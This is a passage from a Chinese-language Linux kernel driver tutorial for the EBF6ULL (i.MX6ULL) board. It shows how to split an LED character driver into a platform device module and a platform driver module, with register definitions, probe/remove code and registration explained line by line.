&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static inline void *dev_get_platdata(const struct device *dev)
{
    return dev-&amp;gt;platform_data;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dev：&lt;&#x2F;strong&gt;  struct device结构体类型指针&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt;  device结构体中成员platform_data指针&lt;&#x2F;p&gt;
&lt;p&gt;以上几个函数接口就是如何从平台设备中获取资源的常用的几个函数接口，到这里平台驱动部分差不多就结束了。总结一下平台驱动需要 实现probe函数，当平台总线成功匹配驱动和设备时，则会调用驱动的probe函数，在该函数中使用上述的函数接口来获取资源， 以初始化设备，最后填充结构体platform_driver，调用platform_driver_register进行注册。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-4-ping-tai-she-bei-shi-yan-shuo-ming-p&quot;&gt;7.4. 平台设备实验说明&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id12&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-4-1-ying-jian-jie-shao-p&quot;&gt;7.4.1. 硬件介绍&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id13&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;本节实验使用到 EBF6ULL-PRO 开发板上的 RGB 彩灯&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-4-2-ying-jian-yuan-li-tu-fen-xi-p&quot;&gt;7.4.2. 硬件原理图分析&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id14&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;参考”字符设备驱动–点亮LED灯”章节&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-5-shi-yan-dai-ma-jiang-jie-p&quot;&gt;7.5. 实验代码讲解&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id15&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;本章的示例代码目录为：linux_driver&#x2F;platform_driver&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本节将会把平台设备驱动应用到LED字符设备驱动的代码中，实现硬件与软件代码相分离，巩固平台设备驱动的学习。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-5-1-bian-cheng-si-lu-p&quot;&gt;7.5.1. 编程思路&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id16&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;编写第一个内核模块led_pdev.c&lt;&#x2F;li&gt;
&lt;li&gt;在内核模块中定义一个平台设备，并填充RGB灯相关设备信息&lt;&#x2F;li&gt;
&lt;li&gt;在该模块入口函数，注册&#x2F;挂载这个平台设备&lt;&#x2F;li&gt;
&lt;li&gt;编写第二个内核模块led_pdrv.c&lt;&#x2F;li&gt;
&lt;li&gt;在内核模块中定义一个平台驱动，在probe函数中完成字符设备驱动的创建&lt;&#x2F;li&gt;
&lt;li&gt;在该模块入口函数，注册&#x2F;挂载这个平台驱动&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在平台设备总线上，注册&#x2F;挂载平台设备和平台驱动时，会自动进行配对。配对成功后，回调执行平台驱动的probe函数， 从而完成字符设备驱动的创建。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-5-2-dai-ma-fen-xi-p&quot;&gt;7.5.2. 代码分析&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id17&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;7-5-2-1-ding-yi-ping-tai-she-bei-p&quot;&gt;7.5.2.1. 定义平台设备&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id18&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;我们需要将字符设备中的硬件信息提取出来，独立成一份代码，将其作为平台设备，注册到内核中。点亮LED灯，需要控制与LED灯相关的寄存器， 包括GPIO时钟寄存器，IO配置寄存器，IO数据寄存器等，这里的资源，实际上就是寄存器地址，可以使用IORESOURCE_MEM进行处理； 除了这些之外，还需要提供一些寄存器的偏移量，我们可以利用平台设备的私有数据进行管理。&lt;&#x2F;p&gt;
&lt;p&gt;寄存器宏定义(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdev.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id47&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;#define CCM_CCGR1                               0x020C406C  &amp;#x2F;&amp;#x2F;时钟控制寄存器
#define IOMUXC_SW_MUX_CTL_PAD_GPIO1_IO04        0x020E006C  &amp;#x2F;&amp;#x2F;GPIO1_04复用功能选择寄存器
#define IOMUXC_SW_PAD_CTL_PAD_GPIO1_IO04        0x020E02F8  &amp;#x2F;&amp;#x2F;PAD属性设置寄存器
#define GPIO1_GDIR                              0x0209C004  &amp;#x2F;&amp;#x2F;GPIO方向设置寄存器（输入或输出）
#define GPIO1_DR                                0x0209C000  &amp;#x2F;&amp;#x2F;GPIO输出状态寄存器

#define CCM_CCGR3                               0x020C4074
#define GPIO4_GDIR                              0x020A8004
#define GPIO4_DR                                0x020A8000

#define IOMUXC_SW_MUX_CTL_PAD_GPIO4_IO020       0x020E01E0
#define IOMUXC_SW_PAD_CTL_PAD_GPIO4_IO020       0x020E046C

#define IOMUXC_SW_MUX_CTL_PAD_GPIO4_IO019       0x020E01DC
#define IOMUXC_SW_PAD_CTL_PAD_GPIO4_IO019       0x020E0468
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用宏定义来对GPIO引脚的寄存器进行封装，具体每个寄存器的作用，可以参考《IMX6ULRM》用户手册。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;定义一个resource结构体，用于存放上述的寄存器地址，提供给驱动使用，如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;定义资源数组(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdev.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id48&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static struct resource rled_resource[] = {
    [0] = DEFINE_RES_MEM(GPIO1_DR, 4),
    [1] = DEFINE_RES_MEM(GPIO1_GDIR, 4),
    [2] = DEFINE_RES_MEM(IOMUXC_SW_MUX_CTL_PAD_GPIO1_IO04, 4),
    [3] = DEFINE_RES_MEM(CCM_CCGR1, 4),
    [4] = DEFINE_RES_MEM(IOMUXC_SW_PAD_CTL_PAD_GPIO1_IO04, 4),
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;在内核源码&#x2F;include&#x2F;linux&#x2F;ioport.h中，提供了宏定义DEFINE_RES_MEM、DEFINE_RES_IO、DEFINE_RES_IRQ和DEFINE_RES_DMA，用来定义所需要的资源类型。 DEFINE_RES_MEM用于定义IORESOURCE_MEM类型的资源，我们只需要传入两个参数，一个是寄存器地址，另一个是大小。从手册上看，可以得知一个寄存器都是32位的，因此， 这里我们选择需要4个字节大小的空间。rled_resource资源数组中，我们将所有的MEM资源进行了编号，0对应了GPIO1_DR，1对应了GPIO1_GDIR，驱动到时候就可以根据这些编号获得对应的寄存器地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;定义平台设备的私有数据(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdev.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id49&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;unsigned int rled_hwinfo[2] = { 4, 26 };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用一个数组rled_hwinfo，来记录寄存器的偏移量，填充平台私有数据时，只需要把数组的首地址赋给platform_data即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;关于设备的硬件信息，我们已经全部完成了，接下来只需要定义一个platform_device类型的变量，填充相关信息。&lt;&#x2F;p&gt;
&lt;p&gt;定义平台设备(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdev.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id50&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static int led_cdev_release(struct inode *inode, struct file *filp)
{
    return 0;
}

&amp;#x2F;* red led device *&amp;#x2F;
static struct platform_device rled_pdev = {
    .name = &amp;quot;led_pdev&amp;quot;,
    .id = 0,
    .num_resources = ARRAY_SIZE(rled_resource),
    .resource = rled_resource,
    .dev = {
        .release = led_release,
        .platform_data = rled_hwinfo,
        },

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-4行：声明了led_cdev_release函数，目的为了防止卸载模块，内核提示报错。&lt;&#x2F;li&gt;
&lt;li&gt;第7-9行：定义了一个设备名为“led_pdev”的设备，这里的名字确保要和驱动的名称保持一致，否则就会导致匹配失败。id编号设置为0，驱动会利用该编号来注册设备。&lt;&#x2F;li&gt;
&lt;li&gt;第10-11行：将上面实现好的rled_resource数组赋值给resource成员，同时，我们还需要指定资源的数量，内核提供了宏定义ARRAY_SIZE，用于计算数组长度， 因此，num_resources直接赋值为ARRAY_SIZE(rled_resource)。&lt;&#x2F;li&gt;
&lt;li&gt;第12-15行：对dev中的成员进行赋值，将rled_hwinfo存储到platform_data中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，只需要在模块加载的函数中调用platform_device_register函数，这样，当加载该内核模块时，新的平台设备就会被注册到内核中去，实现方式如下：&lt;&#x2F;p&gt;
&lt;p&gt;模块初始化(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdev.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id51&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static __init int led_pdev_init(void)
{
    printk(&amp;quot;pdev init\n&amp;quot;);
    platform_device_register(&amp;amp;rled_pdev);
    return 0;

}
module_init(led_pdev_init);

static __exit void led_pdev_exit(void)
{
    printk(&amp;quot;pdev exit\n&amp;quot;);
    platform_device_unregister(&amp;amp;rled_pdev);

}
module_exit(led_pdev_exit);

MODULE_AUTHOR(&amp;quot;Embedfire&amp;quot;);
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
MODULE_DESCRIPTION(&amp;quot;the example for platform driver&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-8行：实现模块的入口函数，打印信息并注册平台设备&lt;&#x2F;li&gt;
&lt;li&gt;第10-16行：实现模块的出口函数，打印信息并注销设备&lt;&#x2F;li&gt;
&lt;li&gt;第18-20行：模块遵守协议以及一些模块信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样，我们就实现了一个新的设备，只需要在开发板上加载该模块，平台总线下就会挂载我们LED灯的平台设备。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;7-5-2-2-ding-yi-ping-tai-qu-dong-p&quot;&gt;7.5.2.2. 定义平台驱动&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id19&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;我们已经注册了一个新的平台设备，驱动只需要提取该设备提供的资源，并提供相应的操作方式即可。这里我们仍然采用字符设备来控制我们的LED灯， 想必大家对于LED灯字符设备的代码已经很熟悉了，对于这块的代码就不做详细介绍了，让我们把重点放在平台驱动上。&lt;&#x2F;p&gt;
&lt;p&gt;我们驱动提供id_table的方式，来匹配设备。我们定义一个platform_device_id类型的变量led_pdev_ids，说明驱动支持哪些设备， 这里我们只支持一个设备，名称为led_pdev，要与平台设备提供的名称保持一致。&lt;&#x2F;p&gt;
&lt;p&gt;id_table(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdrv.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id52&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static struct platform_device_id led_pdev_ids[] = {
    {.name = &amp;quot;led_pdev&amp;quot;},
    {}
};
MODULE_DEVICE_TABLE(platform, led_pdev_ids);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;这块代码提供了驱动支持哪些设备&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这仅仅完成了第一个内容，这是总线进行匹配时所需要的内容。而在匹配成功之后，驱动需要去提取设备的资源， 这部分工作都是在probe函数中完成。由于我们采用字符设备的框架，因此，在probe过程，还需要完成字符设备的注册等工作，具体实现的代码如下：&lt;&#x2F;p&gt;
&lt;p&gt;led_pdrv_probe函数(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdrv.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id53&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;struct led_data {
    unsigned int led_pin;
    unsigned int clk_regshift;

    unsigned int __iomem *va_dr;
    unsigned int __iomem *va_gdir;
    unsigned int __iomem *va_iomuxc_mux;
    unsigned int __iomem *va_ccm_ccgrx;
    unsigned int __iomem *va_iomux_pad;

    struct cdev led_cdev;
};

static int led_pdrv_probe(struct platform_device *pdev)
{
    struct led_data *cur_led;
    unsigned int *led_hwinfo;

    struct resource *mem_dr;
    struct resource *mem_gdir;
    struct resource *mem_iomuxc_mux;
    struct resource *mem_ccm_ccgrx;
    struct resource *mem_iomux_pad;

    dev_t cur_dev;
    int ret = 0;

    printk(&amp;quot;led platform driver probe\n&amp;quot;);

    &amp;#x2F;&amp;#x2F;第一步：提取平台设备提供的资源
    cur_led = devm_kzalloc(&amp;amp;pdev-&amp;gt;dev, sizeof(struct led_data), GFP_KERNEL);
    if(!cur_led)
        return -ENOMEM;

    led_hwinfo = devm_kzalloc(&amp;amp;pdev-&amp;gt;dev, sizeof(unsigned int)*2, GFP_KERNEL);
    if(!led_hwinfo)
        return -ENOMEM;

    &amp;#x2F;* get the pin for led and the reg&amp;#x27;s shift *&amp;#x2F;
    led_hwinfo = dev_get_platdata(&amp;amp;pdev-&amp;gt;dev);
    cur_led-&amp;gt;led_pin = led_hwinfo[0];
    cur_led-&amp;gt;clk_regshift = led_hwinfo[1];

    &amp;#x2F;* get platform resource *&amp;#x2F;
    mem_dr = platform_get_resource(pdev, IORESOURCE_MEM, 0);
    mem_gdir = platform_get_resource(pdev, IORESOURCE_MEM, 1);
    mem_iomuxc_mux = platform_get_resource(pdev, IORESOURCE_MEM, 2);
    mem_ccm_ccgrx = platform_get_resource(pdev, IORESOURCE_MEM, 3);
    mem_iomux_pad = platform_get_resource(pdev, IORESOURCE_MEM, 4);

    cur_led-&amp;gt;va_dr =
        devm_ioremap(&amp;amp;pdev-&amp;gt;dev, mem_dr-&amp;gt;start, resource_size(mem_dr));

    cur_led-&amp;gt;va_gdir =
        devm_ioremap(&amp;amp;pdev-&amp;gt;dev, mem_gdir-&amp;gt;start, resource_size(mem_gdir));

    cur_led-&amp;gt;va_iomuxc_mux =
        devm_ioremap(&amp;amp;pdev-&amp;gt;dev, mem_iomuxc_mux-&amp;gt;start,resource_size(mem_iomuxc_mux));

    cur_led-&amp;gt;va_ccm_ccgrx =
        devm_ioremap(&amp;amp;pdev-&amp;gt;dev, mem_ccm_ccgrx-&amp;gt;start,
            resource_size(mem_ccm_ccgrx));

    cur_led-&amp;gt;va_iomux_pad =
        devm_ioremap(&amp;amp;pdev-&amp;gt;dev, mem_iomux_pad-&amp;gt;start,resource_size(mem_iomux_pad));

    &amp;#x2F;&amp;#x2F;第二步：注册字符设备
    cur_dev = MKDEV(DEV_MAJOR, pdev-&amp;gt;id);

    register_chrdev_region(cur_dev, 1, &amp;quot;led_cdev&amp;quot;);
    cdev_init(&amp;amp;cur_led-&amp;gt;led_cdev, &amp;amp;led_cdev_fops);

    ret = cdev_add(&amp;amp;cur_led-&amp;gt;led_cdev, cur_dev, 1);
    if(ret &amp;lt; 0)
    {
        printk(&amp;quot;fail to add cdev\n&amp;quot;);
        goto add_err;
    }

    device_create(my_led_class, NULL, cur_dev, NULL, DEV_NAME &amp;quot;%d&amp;quot;, pdev-&amp;gt;id);

    &amp;#x2F;* save as drvdata *&amp;#x2F;
    platform_set_drvdata(pdev, cur_led);
    return 0;

add_err:
    unregister_chrdev_region(cur_dev, 1);
    return ret;

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-12行：仍然使用结构体led_data来管理我们LED灯的硬件信息。&lt;&#x2F;li&gt;
&lt;li&gt;第31-38行：使用devm_kzalloc函数申请cur_led和led_hwinfo结构体内存大小。&lt;&#x2F;li&gt;
&lt;li&gt;第41-43行：使用dev_get_platdata函数获取私有数据，得到LED灯的寄存器偏移量，并赋值给cur_led-&amp;gt;led_pin和cur_led-&amp;gt;clk_regshift。&lt;&#x2F;li&gt;
&lt;li&gt;第46-50行：利用函数platform_get_resource可以获取到各个寄存器的地址。&lt;&#x2F;li&gt;
&lt;li&gt;第52-66行：在内核中，这些地址并不能够直接使用，使用devm_ioremap将获取到的寄存器地址转化为虚拟地址，到这里我们就完成了提取资源的工作了。&lt;&#x2F;li&gt;
&lt;li&gt;第69-81行：就需要注册一个LED字符设备了。开发板上板载了三个LED灯，在rled_pdev结构体中，我们指定了红灯的ID号为0，我们可以利用该id号， 来作为字符设备的次设备号，用于区分不同的LED灯。使用MKDEV宏定义来创建一个设备编号，再调用register_chrdev_region、cdev_init、cdev_add等函数来注册字符设备。&lt;&#x2F;li&gt;
&lt;li&gt;第84行：使用platform_set_drvdata函数，将LED数据信息存入在平台驱动结构体中pdev-&amp;gt;dev-&amp;gt;driver_data中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当驱动的内核模块被卸载时，我们需要将注册的驱动注销，相应的字符设备也同样需要注销，具体的实现代码如下：&lt;&#x2F;p&gt;
&lt;p&gt;led_pdrv_remove函数(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdrv.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id54&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static int led_pdrv_remove(struct platform_device *pdev)
{
    dev_t cur_dev;
    struct led_data *cur_data = platform_get_drvdata(pdev);

    printk(&amp;quot;led platform driver remove\n&amp;quot;);

    cur_dev = MKDEV(DEV_MAJOR, pdev-&amp;gt;id);
    cdev_del(&amp;amp;cur_data-&amp;gt;led_cdev);
    device_destroy(my_led_class, cur_dev);
    unregister_chrdev_region(cur_dev, 1);

    return 0;

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第4行：在probe函数中调用了platform_set_drvdata，将当前的LED灯数据结构体保存到pdev的driver_data成员中， 在这里调用platform_get_drvdata，获取当前LED灯对应的结构体，该结构体中包含了字符设备。&lt;&#x2F;li&gt;
&lt;li&gt;第8-11行：，调用cdev_del删除对应的字符设备，删除&#x2F;dev目录下的设备，则调用函数device_destroy，最后使用函数unregister_chrdev_region， 注销掉当前的字符设备编号。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;关于操作LED灯字符设备的方式，实现方式如下，这里只做简单介绍，具体介绍可以参阅LED灯字符设备章节的内容。&lt;&#x2F;p&gt;
&lt;p&gt;led灯的字符设备框架(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdrv.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id55&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static int led_cdev_open(struct inode *inode, struct file *filp)
{
    printk(&amp;quot;%s\n&amp;quot;, __func__);

    struct led_data *cur_led = container_of(inode-&amp;gt;i_cdev, struct led_data, led_cdev);
    unsigned int val = 0;

    val = readl(cur_led-&amp;gt;va_ccm_ccgrx);
    val &amp;amp;= ~(3 &amp;lt;&amp;lt; cur_led-&amp;gt;clk_regshift);
    val |= (3 &amp;lt;&amp;lt; cur_led-&amp;gt;clk_regshift);
    writel(val, cur_led-&amp;gt;va_ccm_ccgrx);

    writel(5, cur_led-&amp;gt;va_iomuxc_mux);
    writel(0x1F838, cur_led-&amp;gt;va_iomux_pad);

    val = readl(cur_led-&amp;gt;va_gdir);
    val &amp;amp;= ~(1 &amp;lt;&amp;lt; cur_led-&amp;gt;led_pin);
    val |= (1 &amp;lt;&amp;lt; cur_led-&amp;gt;led_pin);
    writel(val, cur_led-&amp;gt;va_gdir);

    val = readl(cur_led-&amp;gt;va_dr);
    val |= (0x01 &amp;lt;&amp;lt; cur_led-&amp;gt;led_pin);
    writel(val, cur_led-&amp;gt;va_dr);

    filp-&amp;gt;private_data = cur_led;

    return 0;

}

static int led_cdev_release(struct inode *inode, struct file *filp)
{
    return 0;
}

static ssize_t led_cdev_write(struct file *filp, const char __user * buf,
                size_t count, loff_t * ppos)
{
    unsigned long val = 0;
    unsigned long ret = 0;
    int tmp = count;

    struct led_data *cur_led = (struct led_data *)filp-&amp;gt;private_data;
    kstrtoul_from_user(buf, tmp, 10, &amp;amp;ret);
    val = readl(cur_led-&amp;gt;va_dr);

    if (ret == 0)
        val &amp;amp;= ~(0x01 &amp;lt;&amp;lt; cur_led-&amp;gt;led_pin);
    else
        val |= (0x01 &amp;lt;&amp;lt; cur_led-&amp;gt;led_pin);

    writel(val, cur_led-&amp;gt;va_dr);
    *ppos += tmp;
    return tmp;

}

static struct file_operations led_cdev_fops = {
    .open = led_cdev_open,
    .release = led_cdev_release,
    .write = led_cdev_write,

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-29行是led_cdev_open函数的内容主要就是对硬件进行初始化。&lt;&#x2F;li&gt;
&lt;li&gt;第31-34行的led_cdev_release函数的作用是为了防止警告产生。&lt;&#x2F;li&gt;
&lt;li&gt;第36-54行对GPIO引脚进行置位控制&lt;&#x2F;li&gt;
&lt;li&gt;第58-63行，对file_operations结构体进行填充&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们只需要将我们实现好的内容，填充到platform_driver类型的结构体，并使用platform_driver_register函数注册即可。&lt;&#x2F;p&gt;
&lt;p&gt;注册平台驱动(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;led_pdrv.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id56&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static struct platform_driver led_pdrv = {
    .probe = led_pdrv_probe,
    .remove = led_pdrv_remove,
    .driver.name = &amp;quot;led_pdev&amp;quot;,
    .id_table = led_pdev_ids,
};

static __init int led_pdrv_init(void)
{

    printk(&amp;quot;led platform driver init\n&amp;quot;);

    my_led_class = class_create(THIS_MODULE, &amp;quot;my_leds&amp;quot;);
    platform_driver_register(&amp;amp;led_pdrv);

    return 0;
}
module_init(led_pdrv_init);

static __exit void led_pdrv_exit(void)
{
    printk(&amp;quot;led platform driver exit\n&amp;quot;);

    platform_driver_unregister(&amp;amp;led_pdrv);
    class_destroy(my_led_class);
}
